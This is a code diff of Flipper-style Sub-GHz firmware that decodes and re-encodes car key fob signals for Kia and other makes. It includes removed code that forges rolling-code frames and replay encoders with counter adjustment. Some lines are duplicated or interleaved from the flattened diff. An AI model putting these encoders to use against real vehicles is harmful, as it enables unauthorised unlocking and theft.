if(!flipper_format_write_uint32(flipper_format, "RawCnt", &raw_count, 1)) {
return SubGhzProtocolStatusErrorParserOthers;
}
return SubGhzProtocolStatusOk;
}
SubGhzProtocolStatus subghz_protocol_decoder_kia_v2_deserialize(void* context, FlipperFormat* flipper_format) {
SubGhzProtocolStatus
subghz_protocol_decoder_kia_v2_deserialize(void* context, FlipperFormat* flipper_format) {
furi_assert(context);
SubGhzProtocolDecoderKiaV2* instance = context;
return subghz_block_generic_deserialize_check_count_bit(
&instance->generic, flipper_format, subghz_protocol_kia_v2_const.min_count_bit_for_found);
}
static const char* subghz_protocol_kia_v2_get_name_button(uint8_t btn) {
switch(btn) {
case 0x1: return "Lock";
case 0x2: return "Unlock";
case 0x3: return "Trunk";
case 0x4: return "Panic";
default: return "Unknown";
}
}
void subghz_protocol_decoder_kia_v2_get_string(void* context, FuriString* output) {
furi_assert(context);
SubGhzProtocolDecoderKiaV2* instance = context;
subghz_protocol_kia_v2_check_remote_controller(instance);
uint8_t crc_received = instance->generic.data & 0x0F;
uint8_t crc_calculated = kia_v2_calculate_crc(instance->generic.data);
bool crc_ok = (crc_received == crc_calculated);
uint8_t crc = instance->generic.data & 0x0F;
bool crc_valid = crc == kia_v2_calculate_crc(instance->generic.data);
furi_string_cat_printf(
output,
"%s %dbit\r\n"
"Key:%013llX\r\n"
"Sn:%08lX Cnt:%03lX\r\n"
"Btn:%02X:[%s]\r\n"
"CRC:%X %s",
"Sn:%08lX Btn:%X\r\n"
"Cnt:%03lX CRC:%X - %s\r\n",
instance->generic.protocol_name,
instance->generic.data_count_bit,
instance->generic.data,
instance->generic.serial,
instance->generic.cnt,
instance->generic.btn,
subghz_protocol_kia_v2_get_name_button(instance->generic.btn),
crc_received,
crc_ok ? "(OK)" : "(FAIL)");
instance->generic.cnt,
crc,
crc_valid ? "OK" : "BAD");
}
File diff suppressed because it is too large Load Diff
+131 -275
View File
@@ -1,13 +1,10 @@
#include "kia_v5.h"
#include "../blocks/const.h"
#include "../blocks/decoder.h"
#include "../blocks/encoder.h"
#include "../blocks/generic.h"
#include "../blocks/math.h"
#include "../blocks/custom_btn_i.h"
#include <lib/toolbox/manchester_decoder.h>
#include <lib/toolbox/manchester_encoder.h>
#define TAG "SubGhzProtocolKiaV5"
@@ -20,7 +17,7 @@ static const SubGhzBlockConst subghz_protocol_kia_v5_const = {
static const uint8_t keystore_bytes[] = {0x53, 0x54, 0x46, 0x52, 0x4b, 0x45, 0x30, 0x30};
static uint8_t reverse_byte(uint8_t b) {
static uint8_t kia_v5_reverse_byte(uint8_t b) {
uint8_t r = 0;
for(int i = 0; i < 8; i++) {
if(b & (1 << i)) r |= (1 << (7 - i));
@@ -28,29 +25,16 @@ static uint8_t reverse_byte(uint8_t b) {
return r;
}
static uint64_t bit_reverse_64(uint64_t input) {
static uint64_t kia_v5_bit_reverse_64(uint64_t input) {
uint64_t output = 0;
for(int i = 0; i < 8; i++) {
uint8_t byte = (input >> (i * 8)) & 0xFF;
uint8_t reversed = reverse_byte(byte);
uint8_t reversed = kia_v5_reverse_byte(byte);
output |= ((uint64_t)reversed << ((7 - i) * 8));
}
return output;
}
static uint8_t kia_v5_calculate_crc(uint64_t data) {
uint8_t crc = 0;
for(int i = 63; i >= 0; i--) {
const uint8_t bit = (data >> i) & 1U;
const uint8_t shifted_out = (crc >> 1U) & 1U;
crc = (uint8_t)(((crc & 1U) << 1U) | bit);
if(shifted_out) {
crc ^= 3U;
}
}
return (uint8_t)(crc & 3U);
}
static uint16_t mixer_decode(uint32_t encrypted) {
uint8_t s0 = (encrypted & 0xFF);
uint8_t s1 = (encrypted >> 8) & 0xFF;
@@ -68,6 +52,7 @@ static uint16_t mixer_decode(uint32_t encrypted) {
} else {
base = (s3 & 0x02) == 0 ? 0x3A : 0x5C;
}
if(s2 & 0x08) {
base = (((base >> 4) & 0x0F) | ((base & 0x0F) << 4)) & 0xFF;
}
@@ -77,16 +62,26 @@ static uint16_t mixer_decode(uint32_t encrypted) {
if(s0 & 0x01) {
base = (base << 1) & 0xFF;
}
uint8_t temp = (s3 ^ s1) & 0xFF;
s3 = ((s3 & 0x7F) << 1) & 0xFF;
if(s2 & 0x80) s3 |= 0x01;
if(s2 & 0x80) {
s3 |= 0x01;
}
s2 = ((s2 & 0x7F) << 1) & 0xFF;
if(s1 & 0x80) s2 |= 0x01;
if(s1 & 0x80) {
s2 |= 0x01;
}
s1 = ((s1 & 0x7F) << 1) & 0xFF;
if(s0 & 0x80) s1 |= 0x01;
if(s0 & 0x80) {
s1 |= 0x01;
}
s0 = ((s0 & 0x7F) << 1) & 0xFF;
uint8_t chk = (base ^ (r ^ temp)) & 0xFF;
if(chk & 0x80) s0 |= 0x01;
if(chk & 0x80) {
s0 |= 0x01;
}
r = ((r & 0x7F) << 1) & 0xFF;
steps--;
}
@@ -95,102 +90,12 @@ static uint16_t mixer_decode(uint32_t encrypted) {
return (s0 + (s1 << 8)) & 0xFFFF;
}
static uint32_t mixer_encode(uint32_t serial, uint16_t counter, uint8_t button) {
uint8_t s0 = (uint8_t)(((serial >> 8) & 0x0FU) | ((button & 0x0FU) << 4));
uint8_t s1 = (uint8_t)((counter >> 8) & 0xFFU);
uint8_t s2 = (uint8_t)(serial & 0xFFU);
uint8_t s3 = (uint8_t)(counter & 0xFFU);
int ks_idx = 0;
for(int round_i = 0; round_i < 18; round_i++) {
uint8_t r = keystore_bytes[ks_idx] & 0xFFU;
ks_idx = (ks_idx + 1) & 0x07;
uint8_t running_d = s3;
for(int step = 0; step < 8; step++) {
uint8_t base;
if((s0 & 0x80U) == 0) {
base = (s0 & 0x04U) == 0 ? 0x74U : 0x2EU;
} else {
base = (s0 & 0x04U) == 0 ? 0x3AU : 0x5CU;
}
if(s2 & 0x10U) {
base = (uint8_t)(((base >> 4) & 0x0FU) | ((base & 0x0FU) << 4));
}
if(s1 & 0x02U) {
base = (uint8_t)((base & 0x3FU) << 2);
}
uint8_t base_final = base;
if(running_d & 0x02U) {
base_final = (uint8_t)((base & 0x7FU) << 1);
}
const bool carry_b = (s1 & 0x01U) != 0;
const bool carry_c = (s2 & 0x01U) != 0;
const bool carry_a = (s0 & 0x01U) != 0;
uint8_t new_d = (uint8_t)(running_d >> 1);
if(carry_b) new_d |= 0x80U;
running_d ^= s2;
s1 = (uint8_t)(s1 >> 1);
if(carry_c) s1 |= 0x80U;
s2 = (uint8_t)(s2 >> 1);
if(carry_a) s2 |= 0x80U;
const uint8_t feedback = (uint8_t)(((running_d ^ r) << 7) ^ base_final);
s0 = (uint8_t)(s0 >> 1);
if(feedback & 0x80U) s0 |= 0x80U;
r = (uint8_t)(r >> 1);
running_d = new_d;
}
s3 = running_d;
}
return ((uint32_t)s0 << 24) | ((uint32_t)s2 << 16) | ((uint32_t)s1 << 8) | (uint32_t)s3;
}
static uint64_t kia_v5_encode_data(uint32_t serial, uint16_t counter, uint8_t button) {
serial &= 0x0FFFFFFFU;
button &= 0x0FU;
const uint32_t encrypted = mixer_encode(serial, counter, button);
const uint64_t yek =
((uint64_t)button << 60) | ((uint64_t)serial << 32) | (uint64_t)encrypted;
return bit_reverse_64(yek);
}
static uint8_t kia_v5_custom_to_btn(uint8_t custom_btn) {
switch(custom_btn) {
case 1: return 0x01; // Unlock
case 2: return 0x02; // Lock
case 3: return 0x04; // Trunk
case 4: return 0x08; // Horn
default: return 0x01;
}
}
static uint8_t kia_v5_btn_to_custom(uint8_t btn) {
switch(btn) {
case 0x01: return 1; // Unlock
case 0x02: return 2; // Lock
case 0x04: return 3; // Trunk
case 0x08: return 4; // Horn
default: return 1;
}
}
struct SubGhzProtocolDecoderKiaV5 {
SubGhzProtocolDecoderBase base;
SubGhzBlockDecoder decoder;
SubGhzBlockGeneric generic;
uint16_t header_count;
ManchesterState manchester_state;
uint64_t decoded_data;
uint64_t saved_key;
@@ -205,15 +110,37 @@ struct SubGhzProtocolEncoderKiaV5 {
SubGhzBlockGeneric generic;
uint64_t replay_data;
uint8_t replay_crc;
uint8_t replay_crc;
};
#define KIA_V5_PREAMBLE_PAIRS 200U
#define KIA_V5_SYNC_ENTRIES 4U
#define KIA_V5_DATA_BITS 64U
#define KIA_V5_CRC_BITS 3U
#define KIA_V5_END_ENTRIES 2U
#define KIA_V5_UPLOAD_CAPACITY \
(KIA_V5_PREAMBLE_PAIRS * 2U + KIA_V5_SYNC_ENTRIES + \
(KIA_V5_DATA_BITS + KIA_V5_CRC_BITS) * 2U + KIA_V5_END_ENTRIES)
typedef enum {
KiaV5DecoderStepReset = 0,
KiaV5DecoderStepCheckPreamble,
KiaV5DecoderStepData,
} KiaV5DecoderStep;
static uint8_t kia_v5_calculate_crc(uint64_t data) {
uint8_t crc = 0;
for(int i = 63; i >= 0; i--) {
const uint8_t bit = (data >> i) & 1U;
const uint8_t shifted_out = (crc >> 1U) & 1U;
crc = (uint8_t)(((crc & 1U) << 1U) | bit);
if(shifted_out) {
crc ^= 3U;
}
}
return (uint8_t)(crc & 3U);
}
const SubGhzProtocolDecoder subghz_protocol_kia_v5_decoder = {
.alloc = subghz_protocol_decoder_kia_v5_alloc,
.free = subghz_protocol_decoder_kia_v5_free,
@@ -244,69 +171,81 @@ const SubGhzProtocol subghz_protocol_kia_v5 = {
void* subghz_protocol_encoder_kia_v5_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolEncoderKiaV5* instance = malloc(sizeof(SubGhzProtocolEncoderKiaV5));
SubGhzProtocolEncoderKiaV5* instance = calloc(1, sizeof(SubGhzProtocolEncoderKiaV5));
furi_check(instance);
instance->base.protocol = &subghz_protocol_kia_v5;
instance->generic.protocol_name = instance->base.protocol->name;
instance->encoder.size_upload = 400;
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
instance->encoder.repeat = 10;
furi_check(instance->encoder.upload);
instance->encoder.repeat = 6;
instance->encoder.front = 0;
instance->encoder.is_running = false;
instance->replay_data = 0;
instance->replay_crc = 0;
return instance;
}
void subghz_protocol_encoder_kia_v5_free(void* context) {
furi_assert(context);
SubGhzProtocolEncoderKiaV5* instance = context;
if(instance->encoder.upload) {
free(instance->encoder.upload);
}
free(instance);
}
static bool subghz_protocol_encoder_kia_v5_get_upload(SubGhzProtocolEncoderKiaV5* instance) {
furi_assert(instance);
const uint32_t te_short = (uint32_t)subghz_protocol_kia_v5_const.te_short;
const uint32_t te_long = (uint32_t)subghz_protocol_kia_v5_const.te_long;
const uint32_t te_long = (uint32_t)subghz_protocol_kia_v5_const.te_long;
size_t index = 0;
for(size_t i = 0; i < 80; i++) {
instance->encoder.upload[index++] = level_duration_make(true, (int32_t)te_short);
for(size_t i = 0; i < KIA_V5_PREAMBLE_PAIRS; i++) {
instance->encoder.upload[index++] = level_duration_make(true, (int32_t)te_short);
instance->encoder.upload[index++] = level_duration_make(false, (int32_t)te_short);
}
instance->encoder.upload[index++] = level_duration_make(false, (int32_t)te_short);
instance->encoder.upload[index++] = level_duration_make(true, (int32_t)te_long);
instance->encoder.upload[index++] = level_duration_make(true, (int32_t)te_long);
instance->encoder.upload[index++] = level_duration_make(false, (int32_t)te_short);
instance->encoder.upload[index++] = level_duration_make(true, (int32_t)te_short);
instance->encoder.upload[index++] = level_duration_make(true, (int32_t)te_short);
for(int b = 63; b >= 0; b--) {
const bool bv = ((instance->replay_data >> b) & 1ULL) != 0ULL;
if(bv) {
instance->encoder.upload[index++] = level_duration_make(false, (int32_t)te_short);
instance->encoder.upload[index++] = level_duration_make(true, (int32_t)te_short);
instance->encoder.upload[index++] = level_duration_make(true, (int32_t)te_short);
} else {
instance->encoder.upload[index++] = level_duration_make(true, (int32_t)te_short);
instance->encoder.upload[index++] = level_duration_make(true, (int32_t)te_short);
instance->encoder.upload[index++] = level_duration_make(false, (int32_t)te_short);
}
}
instance->encoder.upload[index++] = level_duration_make(true, (int32_t)te_short);
instance->encoder.upload[index++] = level_duration_make(true, (int32_t)te_short);
instance->encoder.upload[index++] = level_duration_make(false, (int32_t)te_short);
const bool crc_b1 = ((instance->replay_crc >> 1U) & 1U) != 0U;
if(crc_b1) {
instance->encoder.upload[index++] = level_duration_make(false, (int32_t)te_short);
instance->encoder.upload[index++] = level_duration_make(true, (int32_t)te_short);
instance->encoder.upload[index++] = level_duration_make(true, (int32_t)te_short);
} else {
instance->encoder.upload[index++] = level_duration_make(true, (int32_t)te_short);
instance->encoder.upload[index++] = level_duration_make(true, (int32_t)te_short);
instance->encoder.upload[index++] = level_duration_make(false, (int32_t)te_short);
}
const bool crc_b0 = (instance->replay_crc & 1U) != 0U;
if(crc_b0) {
instance->encoder.upload[index++] = level_duration_make(false, (int32_t)te_short);
instance->encoder.upload[index++] = level_duration_make(true, (int32_t)te_short);
instance->encoder.upload[index++] = level_duration_make(true, (int32_t)te_short);
} else {
instance->encoder.upload[index++] = level_duration_make(true, (int32_t)te_short);
instance->encoder.upload[index++] = level_duration_make(true, (int32_t)te_short);
instance->encoder.upload[index++] = level_duration_make(false, (int32_t)te_short);
}
instance->encoder.upload[index++] = level_duration_make(false, (int32_t)te_short);
instance->encoder.upload[index++] = level_duration_make(true, (int32_t)te_short);
instance->encoder.upload[index++] = level_duration_make(true, (int32_t)te_short);
instance->encoder.size_upload = index;
instance->encoder.front = 0;
@@ -319,10 +258,6 @@ SubGhzProtocolStatus
SubGhzProtocolEncoderKiaV5* instance = context;
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
static uint32_t call_count = 0;
call_count++;
FURI_LOG_I(TAG, "deserialize #%lu, cnt before=%04lX", call_count, (uint32_t)instance->generic.cnt);
do {
ret = subghz_block_generic_deserialize(&instance->generic, flipper_format);
if(ret != SubGhzProtocolStatusOk) break;
@@ -334,11 +269,12 @@ SubGhzProtocolStatus
uint32_t yek_high = 0, yek_low = 0;
uint64_t yek = 0;
flipper_format_rewind(flipper_format);
if(flipper_format_read_uint32(flipper_format, "YekHi", &yek_high, 1) &&
flipper_format_read_uint32(flipper_format, "YekLo", &yek_low, 1)) {
yek = ((uint64_t)yek_high << 32) | yek_low;
} else {
yek = bit_reverse_64(instance->generic.data);
yek = kia_v5_bit_reverse_64(instance->generic.data);
}
instance->generic.serial = (uint32_t)((yek >> 32) & 0x0FFFFFFF);
@@ -347,90 +283,48 @@ SubGhzProtocolStatus
uint32_t encrypted = (uint32_t)(yek & 0xFFFFFFFF);
instance->generic.cnt = mixer_decode(encrypted);
if(subghz_custom_btn_get_original() == 0) {
subghz_custom_btn_set_original(kia_v5_btn_to_custom(instance->generic.btn));
}
subghz_custom_btn_set_max(4);
uint32_t override_cnt = 0;
if(subghz_block_generic_global_counter_override_get(&override_cnt)) {
instance->generic.cnt = override_cnt & 0xFFFF;
} else {
uint32_t mult = furi_hal_subghz_get_rolling_counter_mult();
instance->generic.cnt = (instance->generic.cnt + mult) & 0xFFFF;
}
FURI_LOG_I(
TAG, "deserialize #%lu, cnt after=%04lX", call_count, (uint32_t)instance->generic.cnt);
uint8_t btn = kia_v5_custom_to_btn(
subghz_custom_btn_get() == SUBGHZ_CUSTOM_BTN_OK ? subghz_custom_btn_get_original() :
subghz_custom_btn_get());
if(subghz_block_generic_global_button_override_get(&btn)) {
FURI_LOG_D(TAG, "Button changed to 0x%X", btn);
}
instance->generic.btn = btn & 0x0F;
instance->generic.data = kia_v5_encode_data(
instance->generic.serial, instance->generic.cnt, instance->generic.btn);
instance->replay_data = instance->generic.data;
instance->replay_crc = kia_v5_calculate_crc(instance->replay_data);
instance->replay_crc = kia_v5_calculate_crc(instance->replay_data);
if(!subghz_protocol_encoder_kia_v5_get_upload(instance)) {
ret = SubGhzProtocolStatusErrorEncoderGetUpload;
break;
}
if(!flipper_format_rewind(flipper_format)) {
ret = SubGhzProtocolStatusErrorParserOthers;
break;
}
uint8_t key_data[sizeof(uint64_t)] = {0};
for(size_t i = 0; i < sizeof(uint64_t); i++) {
key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> i * 8) & 0xFF;
}
if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
ret = SubGhzProtocolStatusErrorParserKey;
break;
}
uint32_t temp_btn = instance->generic.btn;
if(!flipper_format_insert_or_update_uint32(flipper_format, "Btn", &temp_btn, 1)) {
ret = SubGhzProtocolStatusErrorParserOthers;
break;
}
if(!flipper_format_insert_or_update_uint32(flipper_format, "Cnt", &instance->generic.cnt, 1)) {
ret = SubGhzProtocolStatusErrorParserOthers;
break;
}
yek = bit_reverse_64(instance->generic.data);
yek_high = (uint32_t)(yek >> 32);
yek_low = (uint32_t)(yek & 0xFFFFFFFF);
if(!flipper_format_insert_or_update_uint32(flipper_format, "YekHi", &yek_high, 1)) {
ret = SubGhzProtocolStatusErrorParserOthers;
break;
}
if(!flipper_format_insert_or_update_uint32(flipper_format, "YekLo", &yek_low, 1)) {
ret = SubGhzProtocolStatusErrorParserOthers;
break;
}
uint8_t crc = kia_v5_calculate_crc(yek);
uint32_t crc_temp = crc;
if(!flipper_format_insert_or_update_uint32(flipper_format, "CRC", &crc_temp, 1)) {
ret = SubGhzProtocolStatusErrorParserOthers;
break;
}
instance->encoder.is_running = true;
ret = SubGhzProtocolStatusOk;
} while(false);
return ret;
}
void subghz_protocol_encoder_kia_v5_stop(void* context) {
furi_assert(context);
SubGhzProtocolEncoderKiaV5* instance = context;
instance->encoder.is_running = false;
instance->encoder.front = 0;
}
LevelDuration subghz_protocol_encoder_kia_v5_yield(void* context) {
furi_assert(context);
SubGhzProtocolEncoderKiaV5* instance = context;
if(!instance->encoder.is_running || instance->encoder.repeat == 0 ||
instance->encoder.size_upload == 0) {
instance->encoder.is_running = false;
return level_duration_reset();
}
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
if(++instance->encoder.front == instance->encoder.size_upload) {
instance->encoder.repeat--;
instance->encoder.front = 0;
}
return ret;
}
void subghz_protocol_encoder_kia_v5_set_button(void* context, uint8_t button) {
furi_assert(context);
SubGhzProtocolEncoderKiaV5* instance = context;
@@ -470,43 +364,10 @@ static void kia_v5_add_bit(SubGhzProtocolDecoderKiaV5* instance, bool bit) {
instance->bit_count++;
}
void subghz_protocol_encoder_kia_v5_stop(void* context) {
furi_assert(context);
SubGhzProtocolEncoderKiaV5* instance = context;
instance->encoder.is_running = false;
instance->encoder.front = 0;
}
LevelDuration subghz_protocol_encoder_kia_v5_yield(void* context) {
furi_assert(context);
SubGhzProtocolEncoderKiaV5* instance = context;
if(!instance->encoder.is_running || instance->encoder.repeat == 0 ||
instance->encoder.size_upload == 0) {
instance->encoder.is_running = false;
return level_duration_reset();
}
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
if(++instance->encoder.front == instance->encoder.size_upload) {
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
instance->encoder.front = 0;
}
return ret;
}
void subghz_protocol_encoder_kia_v5_free(void* context) {
furi_assert(context);
SubGhzProtocolEncoderKiaV5* instance = context;
free(instance->encoder.upload);
free(instance);
}
void* subghz_protocol_decoder_kia_v5_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolDecoderKiaV5* instance = malloc(sizeof(SubGhzProtocolDecoderKiaV5));
furi_assert(instance);
instance->base.protocol = &subghz_protocol_kia_v5;
instance->generic.protocol_name = instance->base.protocol->name;
return instance;
@@ -544,7 +405,11 @@ void subghz_protocol_decoder_kia_v5_feed(void* context, bool level, uint32_t dur
instance->header_count = 1;
instance->bit_count = 0;
instance->decoded_data = 0;
manchester_advance(instance->manchester_state, ManchesterEventReset, &instance->manchester_state, NULL);
manchester_advance(
instance->manchester_state,
ManchesterEventReset,
&instance->manchester_state,
NULL);
}
break;
@@ -614,8 +479,7 @@ void subghz_protocol_decoder_kia_v5_feed(void* context, bool level, uint32_t dur
uint8_t byte = (instance->generic.data >> (i * 8)) & 0xFF;
uint8_t reversed = 0;
for(int b = 0; b < 8; b++) {
if(byte & (1 << b))
reversed |= (1 << (7 - b));
if(byte & (1 << b)) reversed |= (1 << (7 - b));
}
instance->yek |= ((uint64_t)reversed << ((7 - i) * 8));
}
@@ -629,11 +493,6 @@ void subghz_protocol_decoder_kia_v5_feed(void* context, bool level, uint32_t dur
instance->decoder.decode_data = instance->generic.data;
instance->decoder.decode_count_bit = instance->generic.data_count_bit;
if(subghz_custom_btn_get_original() == 0) {
subghz_custom_btn_set_original(kia_v5_btn_to_custom(instance->generic.btn));
}
subghz_custom_btn_set_max(4);
if(instance->base.callback)
instance->base.callback(&instance->base, instance->base.context);
}
@@ -677,20 +536,20 @@ SubGhzProtocolStatus subghz_protocol_decoder_kia_v5_serialize(
subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
if(ret == SubGhzProtocolStatusOk) {
if(!flipper_format_write_uint32(
flipper_format, "Serial", &instance->generic.serial, 1)) {
uint32_t serial_tmp = instance->generic.serial;
if(!flipper_format_write_uint32(flipper_format, "Serial", &serial_tmp, 1)) {
ret = SubGhzProtocolStatusErrorParserOthers;
}
}
if(ret == SubGhzProtocolStatusOk) {
uint32_t temp = instance->generic.btn;
if(!flipper_format_write_uint32(flipper_format, "Btn", &temp, 1)) {
uint32_t btn_tmp = instance->generic.btn;
if(!flipper_format_write_uint32(flipper_format, "Btn", &btn_tmp, 1)) {
ret = SubGhzProtocolStatusErrorParserOthers;
}
}
if(ret == SubGhzProtocolStatusOk) {
if(!flipper_format_write_uint32(
flipper_format, "Cnt", &instance->generic.cnt, 1)) {
uint32_t cnt_tmp = instance->generic.cnt;
if(!flipper_format_write_uint32(flipper_format, "Cnt", &cnt_tmp, 1)) {
ret = SubGhzProtocolStatusErrorParserOthers;
}
}
@@ -702,7 +561,7 @@ SubGhzProtocolStatus subghz_protocol_decoder_kia_v5_serialize(
}
if(ret == SubGhzProtocolStatusOk) {
uint32_t yek_high = (uint32_t)(instance->yek >> 32);
uint32_t yek_low = (uint32_t)(instance->yek & 0xFFFFFFFF);
uint32_t yek_low = (uint32_t)(instance->yek & 0xFFFFFFFF);
if(!flipper_format_write_uint32(flipper_format, "YekHi", &yek_high, 1)) {
ret = SubGhzProtocolStatusErrorParserOthers;
}
@@ -721,13 +580,10 @@ SubGhzProtocolStatus
furi_assert(context);
SubGhzProtocolDecoderKiaV5* instance = context;
SubGhzProtocolStatus ret = subghz_block_generic_deserialize(&instance->generic, flipper_format);
if((ret == SubGhzProtocolStatusOk) &&
(instance->generic.data_count_bit <
subghz_protocol_kia_v5_const.min_count_bit_for_found)) {
ret = SubGhzProtocolStatusErrorParserBitCount;
}
SubGhzProtocolStatus ret = subghz_block_generic_deserialize_check_count_bit(
&instance->generic,
flipper_format,
subghz_protocol_kia_v5_const.min_count_bit_for_found);
if(ret == SubGhzProtocolStatusOk) {
flipper_format_rewind(flipper_format);
@@ -758,15 +614,10 @@ SubGhzProtocolStatus
}
instance->generic.serial = (uint32_t)((instance->yek >> 32) & 0x0FFFFFFF);
instance->generic.btn = (uint8_t)((instance->yek >> 60) & 0x0F);
instance->generic.btn = (uint8_t)((instance->yek >> 60) & 0x0F);
uint32_t encrypted = (uint32_t)(instance->yek & 0xFFFFFFFF);
instance->generic.cnt = mixer_decode(encrypted);
if(subghz_custom_btn_get_original() == 0) {
subghz_custom_btn_set_original(kia_v5_btn_to_custom(instance->generic.btn));
}
subghz_custom_btn_set_max(4);
}
return ret;
@@ -774,11 +625,16 @@ SubGhzProtocolStatus
static const char* subghz_protocol_kia_v5_get_name_button(uint8_t btn) {
switch(btn) {
case 0x01: return "Unlock";
case 0x02: return "Lock";
case 0x04: return "Trunk";
case 0x08: return "Horn";
default: return "Unknown";
case 0x01:
return "Unlock";
case 0x02:
return "Lock";
case 0x04:
return "Trunk";
case 0x08:
return "Horn";
default:
return "Unknown";
}
}
File diff suppressed because it is too large Load Diff
+12 -9
View File
@@ -1,7 +1,14 @@
#include "kia_v7.h"
#include "../blocks/const.h"
#include "../blocks/decoder.h"
#include "../blocks/encoder.h"
#include "../blocks/generic.h"
#include "../blocks/math.h"
#include <lib/toolbox/manchester_decoder.h>
#include <string.h>
#define KIA_V7_UPLOAD_CAPACITY 0x3A4
#define KIA_V7_UPLOAD_CAPACITY \
(1U + (KIA_V7_PREAMBLE_PAIRS * 2U) + 1U + (KIA_V7_KEY_BITS * 2U) + 2U)
#define KIA_V7_PREAMBLE_PAIRS 0x13F
#define KIA_V7_PREAMBLE_MIN_PAIRS 16
#define KIA_V7_HEADER 0x4C
@@ -53,7 +60,6 @@ struct SubGhzProtocolEncoderKiaV7 {
static uint8_t kia_v7_crc8(const uint8_t* data, size_t len) {
uint8_t crc = 0x4CU;
for(size_t index = 0; index < len; index++) {
crc ^= data[index];
for(uint8_t bit = 0; bit < 8; bit++) {
@@ -64,7 +70,6 @@ static uint8_t kia_v7_crc8(const uint8_t* data, size_t len) {
}
}
}
return crc;
}
@@ -76,11 +81,9 @@ static void kia_v7_u64_to_bytes_be(uint64_t data, uint8_t bytes[8]) {
static uint64_t kia_v7_bytes_to_u64_be(const uint8_t bytes[8]) {
uint64_t data = 0;
for(size_t index = 0; index < 8; index++) {
data = (data << 8U) | bytes[index];
}
return data;
}
@@ -97,12 +100,12 @@ static bool kia_v7_is_long(uint32_t duration) {
static const char* kia_v7_get_button_name(uint8_t button) {
switch(button) {
case 0x01:
return "LOCK";
return "Lock";
case 0x02:
return "UNLOCK";
return "Unlock";
case 0x03:
case 0x08:
return "BOOT";
return "Trunk";
default:
return "??";
}
@@ -431,7 +434,7 @@ LevelDuration kia_protocol_encoder_v7_yield(void* context) {
LevelDuration duration = instance->encoder.upload[instance->encoder.front];
if(++instance->encoder.front == instance->encoder.size_upload) {
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
instance->encoder.repeat--;
instance->encoder.front = 0;
}
+371 -4
View File
@@ -1,8 +1,27 @@
#include "protocol_items.h" // IWYU pragma: keep
#include <furi.h>
#include <string.h>
#define TAG "ProtocolCatalog"
#define SUBGHZ_PROTOCOL_CATALOG_CC1101_REG_MDMCFG2 0x12U
#define SUBGHZ_PROTOCOL_CATALOG_CC1101_MOD_FORMAT_MASK 0x70U
#define SUBGHZ_PROTOCOL_CATALOG_CC1101_MOD_FORMAT_2FSK 0x00U
#define SUBGHZ_PROTOCOL_CATALOG_CC1101_MOD_FORMAT_GFSK 0x10U
#define SUBGHZ_PROTOCOL_CATALOG_CC1101_MOD_FORMAT_ASK_OOK 0x30U
#define SUBGHZ_PROTOCOL_CATALOG_CC1101_MOD_FORMAT_4FSK 0x40U
#define SUBGHZ_PROTOCOL_CATALOG_CC1101_MOD_FORMAT_MSK 0x70U
#define SUBGHZ_PROTOCOL_CATALOG_VAG_FREQUENCY_MIN 434190000UL
#define SUBGHZ_PROTOCOL_CATALOG_VAG_FREQUENCY_MAX 434450000UL
#define SUBGHZ_PROTOCOL_CATALOG_COUNT_OF(array) (sizeof(array) / sizeof((array)[0]))
#define SUBGHZ_PROTOCOL_CATALOG_TX_KEY(key) key
const SubGhzProtocol* const subghz_protocol_registry_items[] = {
//&subghz_protocol_gate_tx,
&subghz_protocol_keeloq,
//&subghz_protocol_keeloq,
//&subghz_protocol_nice_flo,
//&subghz_protocol_came,
//&subghz_protocol_faac_slh,
@@ -61,7 +80,11 @@ const SubGhzProtocol* const subghz_protocol_registry_items[] = {
&subghz_protocol_ford_v0,
&subghz_protocol_psa,
&subghz_protocol_fiat_spa,
&subghz_protocol_fiat_marelli,
//&subghz_protocol_fiat_marelli,
&fiat_protocol_v0,
&fiat_v1_protocol,
&fiat_v2_protocol,
&renault_v0_protocol,
// &subghz_protocol_bmw_cas4,
&subghz_protocol_subaru,
&subghz_protocol_mazda_siemens,
@@ -80,15 +103,359 @@ const SubGhzProtocol* const subghz_protocol_registry_items[] = {
&subghz_protocol_chrysler,
&subghz_protocol_kia_v7,
&subghz_protocol_mazda_v0,
//&honda_static_protocol,
&ford_protocol_v1,
&ford_protocol_v2,
&ford_protocol_v3,
&subghz_protocol_land_rover_v0,
//&subghz_protocol_land_rover_v0,
//&subghz_protocol_toyota,
&honda_static_protocol,
&honda_v1_protocol,
&honda_v2_protocol,
};
const SubGhzProtocolRegistry subghz_protocol_registry = {
.items = subghz_protocol_registry_items,
.size = COUNT_OF(subghz_protocol_registry_items)};
typedef enum {
SubGhzProtocolCatalogModulationAM = 0,
SubGhzProtocolCatalogModulationFM,
} SubGhzProtocolCatalogModulation;
typedef struct {
const char* alias;
const char* canonical_name;
} SubGhzProtocolCatalogAlias;
static const SubGhzProtocolCatalogEntry subghz_protocol_catalog[] = {
{"Chrysler V0", SubGhzProtocolCatalogRoutePolicyAMDefault,
SUBGHZ_PROTOCOL_CATALOG_TX_KEY("chrysler_v0")},
{"Fiat V0", SubGhzProtocolCatalogRoutePolicyAMDefault,
SUBGHZ_PROTOCOL_CATALOG_TX_KEY("fiat_v0")},
{"Fiat V1", SubGhzProtocolCatalogRoutePolicyAMDefault,
SUBGHZ_PROTOCOL_CATALOG_TX_KEY("fiat_v1")},
{"Fiat V2", SubGhzProtocolCatalogRoutePolicyAMDefault, NULL},
{"Ford V0", SubGhzProtocolCatalogRoutePolicyAMDefault,
SUBGHZ_PROTOCOL_CATALOG_TX_KEY("ford_v0")},
{"Ford V1", SubGhzProtocolCatalogRoutePolicyFMF4,
SUBGHZ_PROTOCOL_CATALOG_TX_KEY("ford_v1")},
{"Ford V2", SubGhzProtocolCatalogRoutePolicyFMF4,
SUBGHZ_PROTOCOL_CATALOG_TX_KEY("ford_v2")},
{"Ford V3", SubGhzProtocolCatalogRoutePolicyFMF4, NULL},
{"Honda Static", SubGhzProtocolCatalogRoutePolicyFMHonda1,
SUBGHZ_PROTOCOL_CATALOG_TX_KEY("honda_static")},
